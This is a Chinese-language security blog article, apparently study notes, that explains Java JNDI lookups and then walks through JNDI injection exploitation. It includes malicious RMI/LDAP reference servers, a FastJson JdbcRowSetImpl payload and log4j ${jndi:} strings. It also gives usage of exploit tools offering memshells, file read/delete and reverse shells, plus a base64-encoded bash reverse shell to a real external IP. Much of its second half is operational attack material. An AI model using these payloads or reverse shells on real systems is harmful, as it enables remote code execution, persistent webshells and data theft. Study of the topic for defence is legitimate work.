声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!
JNDI介绍
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
更多JNDI相关概念参考:[Java技术回顾之JNDI:命名和目录服务基本概念](https://blog.csdn.net/ericxyy/article/details/2012287)
JNDI目录服务
访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())、applet 参数和应用程序资源文件(jndi.properties)。
使用JNDI创建目录服务对象代码片段:
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。
javax.naming.spi.InitialContextFactory:
package javax.naming.spi;
public interface InitialContextFactory {
public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
}
JNDI-DNS解析
JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。
com.sun.jndi.dns.DnsContextFactory代码片段:
package com.sun.jndi.dns;
public class DnsContextFactory implements InitialContextFactory {
// 获取处理DNS的JNDI上下文对象
public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {
if (var1 == null) {
var1 = new Hashtable(5);
}
return urlToContext(getInitCtxUrl(var1), var1);
}
// 省去其他无关方法和变量
}
使用JNDI解析DNS测试:
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
/**
* Creator: yz
* Date: 2019/12/23
*/
public class DNSContextFactoryTest {
public static void main(String[] args) {
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
// 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 获取DNS解析记录测试
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});
System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
JNDI-RMI远程方法调用
RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动`RMI`服务:rmi.server.RMIServerTest,启动完成后就可以使用JNDI连接并调用了。
使用JNDI解析调用远程RMI方法测试:
package rmi.server;
import rmi.server.RMITestInterface;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;
import static rmi.server.RMIServerTest.*;
/**
* Creator: yz
* Date: 2019/12/24
*/
public class RMIRegistryContextFactoryTest {
public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);
// 调用远程的RMITestInterface接口的test方法
String result = testInterface.test();
System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
程序执行结果:Hello RMI
JNDI-LDAP
LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。
使用JNDI创建LDAP连接测试
package com.anbai.sec.jndi;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
/**
* Creator: yz
* Date: 2019/12/24
*/
public class LDAPFactoryTest {
public static void main(String[] args) {
try {
// 设置用户LDAP登陆用户DN
String userDN = "cn=Manager,dc=javaweb,dc=org";
// 设置登陆用户密码
String password = "123456";
// 创建环境变量对象
Hashtable<String, Object> env = new Hashtable<String, Object>();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "ldap://localhost:389");
// 设置安全认证方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");
// 设置用户信息
env.put(Context.SECURITY_PRINCIPAL, userDN);
// 设置用户密码
env.put(Context.SECURITY_CREDENTIALS, password);
// 创建LDAP连接
DirContext ctx = new InitialDirContext(env);
// 使用ctx可以查询或存储数据,此处省去业务代码
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
JNDI-DataSource
JNDI连接数据源比较特殊,Java目前不提供内置的实现方法,提供数据源服务的多是Servlet容器,这里我们以Tomcat为例学习如何在应用服务中使用JNDI查找容器提供的数据源。
Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:[Tomcat JNDI Datasource](https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html),这里我们在Tomcat的conf/context.xml中添加如下配置:
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>
然后我们需要下载好[Mysql的JDBC驱动包](https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar)并复制到Tomcat的lib目录:
wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"
配置好数据源之后我们重启Tomcat服务就可以使用JNDI的方式获取DataSource了。
使用JNDI获取数据源并查询数据库测试:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%
// 初始化JNDIContext
Context context = new InitialContext();
// 搜索Tomcat注册的JNDI数据库连接池对象
DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");
// 获取数据库连接
Connection connection = dataSource.getConnection();
// 查询SQL语句并返回结果
ResultSet rs = connection.prepareStatement("select version()").executeQuery();
// 获取数据库查询结果
while (rs.next()) {
out.println(rs.getObject(1));
}
rs.close();
%>
访问tomcat-datasource-lookup.jsp输出: 5.7.28,需要注意的是示例jsp中的Demo使用了系统的环境变量,所以并不需要在创建context的时候传入环境变量对象。Tomcat在启动的时候会[设置JNDI变量信息](https://github.com/apache/tomcat/blob/407d805f1772ae1dd03b6ffbac03be83f55c406b/java/org/apache/catalina/startup/Catalina.java#L768),处理`JNDI`服务的类是org.apache.naming.java.javaURLContextFactory,所以在jsp中我们可以直接创建context。
JNDI-协议转换
JNDI默认支持自动转换的协议有:
| 协议名称 | 协议URL | Context类 |
| -----------------| -------------- | --------------------------------------------------------|
| DNS协议 | `dns://` | `com.sun.jndi.url.dns.dnsURLContext` |
| RMI协议 | `rmi://` | `com.sun.jndi.url.rmi.rmiURLContext` |
| LDAP协议 | `ldap://` | `com.sun.jndi.url.ldap.ldapURLContext` |
| LDAP协议 | `ldaps://` | `com.sun.jndi.url.ldaps.ldapsURLContextFactory` |
| IIOP对象请求代理协议| `iiop://` | `com.sun.jndi.url.iiop.iiopURLContext` |
| IIOP对象请求代理协议| `iiopname://` | `com.sun.jndi.url.iiopname.iiopnameURLContextFactory` |
| IIOP对象请求代理协议| `corbaname://` | `com.sun.jndi.url.corbaname.corbanameURLContextFactory` |
RMI示例代码片段:
// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();
// 查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");
示例代码通过lookup会自动使用rmiURLContext处理RMI请求。
JNDI-Reference
在JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
package com.anbai.sec.jndi.injection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 引用对象创建工厂
*/
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("curl localhost:9000");
}
}
package com.anbai.sec.jndi.injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://p2j.cn/tools/jndi-test.jar";
// 对象的工厂类名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
程序运行结果:
RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
使用nc监听端口:
nc -vv -l 9000
RMI客户端代码:
package com.anbai.sec.jndi.injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceClientTest {
public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup(RMI_NAME);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
Process[pid=8634, exitValue="not exited"]
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*
package com.anbai.sec.jndi.injection;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LDAPReferenceServerTest {
// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;
// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";
// 设置一个实体名称
public static final String LDAP_ENTRY_NAME = "test";
// 获取LDAP服务地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";
// 设置LDAP基底DN
private static final String LDAP_BASE = "dc=javasec,dc=org";
public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);
// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());
// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
// 启动服务
ds.startListening();
System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 设置对象的工厂类名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
}
程序运行结果:
LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test
LDAP客户端代码:
package com.anbai.sec.jndi.injection;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;
/**
* Creator: yz
* Date: 2019/12/27
*/
public class LDAPReferenceClientTest {
public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup(LDAP_URL);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
程序运行结果:
java.lang.UNIXProcess@184f6be2
JNDI注入漏洞利用
import javax.naming.Context
import javax.naming.InitialContext
Context ctx = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup("注入JNDI服务URL");
我们只需间接的找到调用了JNDI的lookup方法的类且lookup 的URL可被我们恶意控制的后端接口或者服务即可利用。
FastJson反序列JNDI注入示例
JdbcRowSetImpl示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));
jdbcRowSet.setAutoCommit(true);
%>
FastJson JdbRowSetImpl Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:3890/test",
"autoCommit": "true"
}
FastJson JNDI测试代码:
package com.anbai.sec.jndi.injection;
import com.alibaba.fastjson.JSON;
/**
* Creator: yz
* Date: 2019/12/28
*/
public class FastJsonRCETest {
public static void main(String[] args) {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String json = "{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true" }";
Object obj = JSON.parse(json);
System.out.println(obj);
}
}
程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*
JDNI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126'
bash -i >& /dev/tcp/101.35.156.126/66 0>&1
其中:
-C : 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即”open /Applications/Calculator.app”)
-A : 服务器地址,可以是IP地址或者域名。(可选项 , 默认地址是第一个网卡地址)
注意:
- 要确保1099、1389、8180端口可用,不被其他程序占用,或者也可以在run.ServerStart类26~28行更改默认端口。
- 命令会被作为参数传入Runtime.getRuntime().exec(),所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C “bash -c …”
JNDI
特点:满足不同需求,payload多
项目地址:https://github.com/su18/JNDI
介绍
本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。
本项目是基于 welk1n 的 [JNDI-Injection-Exploit](https://github.com/welk1n/JNDI-Injection-Exploit/),在此项目的基础服务框架上,重新编写了攻击利用代码,支持更多更强大的功能,并加入了多种方式进行回显的支持。
本项目为学习性项目,目前本人 Java 水平依然处于 hello world 的水平,建议各位师傅报着批判的眼光观看,不吝指导。
功能
本工具支持了利用 JNDI 注入构造多种恶意 payload,其中包括:
| 名称 | 功能 | 简介 |
| -------------- | -------------------------| ------------------------------------- |
| BasicInfo | 获取服务器基础信息 | 打印出 System.getProperties() 中的信息 |
| Command | 命令执行 | 反射调用 forkandexec 执行命令 |
| DataSourceHack | 获取Spring DataSource 明文 | 获取缓存在上下文中的 DataSource |
| DirList | 目录遍历 | 使用 File 对象列目录 |
| FileDelete | 文件删除 | 使用 File 对象删除文件 |
| FileRead | 文件读取 | 使用 FileInputStream 读取文件 |
| FileWrite | 文件写入 | 使用 FileOutputStream 写文件 |
| SQL Query | 执行SQL语句 | 使用 JDBC 发出查询 |
| SSRF | 访问内网应用 | 发送 HTTP 请求,并将结果返回 |
对于具体功能的构建比较简单,几乎就是正常的功能性编程,只不过部分功能使用了反射,可能不易于阅读。
对这部分功能实现有疑问的同学可以在 [Javasec](http://javasec.org/) 上找到相关的文章。
对于各项参数的配置使用了配置文件的方式,由于是在调用时会读取文件,并未将值进行缓存,所以可以随时修改配置文件中 payload 的值,无需重启服务。
除去基本功能,本工具加入了多种回显方式,使 JNDI 注入的结果能够返回,这样在研究或测试中可以更方便的看到结果,本攻击支持了如下回显方式:
| 名称 | 功能 | 简介 |
| ------------- | --------------| -------------------------------------|
| ExceptionEcho | 报错回显 | throw 一个异常,message 是我们执行的结果 |
| OOBEcho | 带外回显 | 向 dnslog 平台发送数据包携带执行结果 |
| TomcatEcho | Tomcat 回显 | 通过 Tomcat 获取 response 将结果写入 |
| WebLogicEcho | WebLogic 回显 | 通过 WebLogic 获取 response 将结果写入 |
有了这些功能,我们就可以把 JNDI 注入活活玩成 webshell。
使用
使用源代码执行:
下载项目源代码:
git clone [email protected]:JosephTribbianni/JNDI.git
执行org.su18.server.ServerStart的main()方法,可以在控制台中看到启动消息。
使用jar文件执行:
在release下载打包好的文件,解压压缩包,确保配置文件与jar文件位于同一目录下,根据自定义需求修改端口号及其他配置项,运行jar文件:
java -jar JNDI-1.0-all.jar
查看生成的恶意类
可以使用org.su18.asm.frame.Frame类的main()方法生成.class文件进行查看。
执行后,会在项目根目录生成文件,使用任意手段decompile后可查看逻辑。
JNDIExploit
特点:payload多,有绕过模块,使用方便,可以直接执行命令。
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp
[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
header加上cmd传入命令即可。
jndi_tool
特点:有绕过模块
项目地址:https://github.com/wyzxxz/jndi_tool
声明: 此工具仅用于企业安全人员自查验证自身企业资产的安全风险,或有合法授权的安全测试,请勿用于其他用途,如有,后果自负。
download_url:
https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar
java -jar jndi_tool.jar
Usage:
jndi_http:
java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"
java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"
rmi_high_jdk:
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovy
ldap_normal:
java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1
ldap_auto:
java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__)
fastjson:
java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=on
java -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn"
java -cp jndi_tool.jar jndi.fastjson.Tamper "{"abc":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/Object","autoCommit":true}}"
log4j:
java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http default:http
java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=true
java -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10
log4j检测,建议用0或者4的payload ,相对通用一些
新增的jndi.LDAPRefServerAuto示例:
> cat request1.txt
GET /${jndi:__JNDI__} HTTP/1.1
Host: xx.xx.xx.xx
Accept: ${jndi:__JNDI__}
> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txt
or
> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/${jndi:__JNDI__}" headers="Accept: ${jndi:__JNDI__}"
[//xx.xx.xx/${jndi:__JNDI__} ] url: http:
[ ] process headers: {Accept=${jndi:__JNDI__}}
[//xx.xx.xx:1099/JNDIObject ] use: ldap:
[//xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject} ] url: http:
[on xx.xx.xx:1099 ] LDAP Listening
[get request delay time, waiting... ]
[1000 ] use waiting time:
[ ] checking CommonsBeanutils2
[ ] checking CommonsCollections8
[ ] checking CommonsCollections10
[ ] checking CommonsCollectionsK1
[ ] checking CommonsCollectionsK2
[ ] checking CommonsCollectionsK3
[ ] checking CommonsCollectionsK4
[ ] checking CommonsBeanutils1
[ ] find: CommonsBeanutils1 can be use
[ ] checking CommonsCollections1
[ ] checking CommonsCollections2
[ ] checking CommonsCollections3
[ ] checking CommonsCollections5
[ ] checking CommonsCollections6
[ ] checking CommonsCollections7
[ ] checking CommonsCollections9
[ ] checking Groovy1
[ ] checking JSON1
[ ] find: JSON1 can be use
[ ] checking Jdk7u21
[ ] checking Spring1
[ ] checking Spring2
[ ] checking el
waiting ...
retrying ...
[ ] find: el can be use
0. CommonsBeanutils1
1. JSON1
2. el
[ ] please choose gadget, enter q or quit to quit,
> 0
* example: curl x.xx , bash=curl `whoami`.x.xx
[ ] please enter command, enter q or quit to quit,
> curl x.dnslog
[ ] please enter command, enter q or quit to quit,
> back
0. CommonsBeanutils1
1. JSON1
2. el
[ ] please choose gadget, enter q or quit to quit,
> 2
* example: curl x.xx , bash=curl `whoami`.x.xx
[ ] please enter command, enter q or quit to quit,
> curl x.dnslog
[ ] please enter command, enter q or quit to quit,
> q
===================================================================================================
[ ]
[on 80 ] Opening JRMP listener
[from /xx.xx.xx.xx:33543 ] Have connection
[ ] Reading message...
[for Exploit 2 ] Is RMI.lookup call
[//xx.xx.xx.xx:80/Object.class ] Sending remote classloading stub targeting http:
[ ] Closing connection
[from /xx.xx.xx.xx:33544 /Object.class ] Have connection
[1.7.0_79, use payload version: jdk7 ] remote target jdk version: java/
[ ] send payload done and exit.
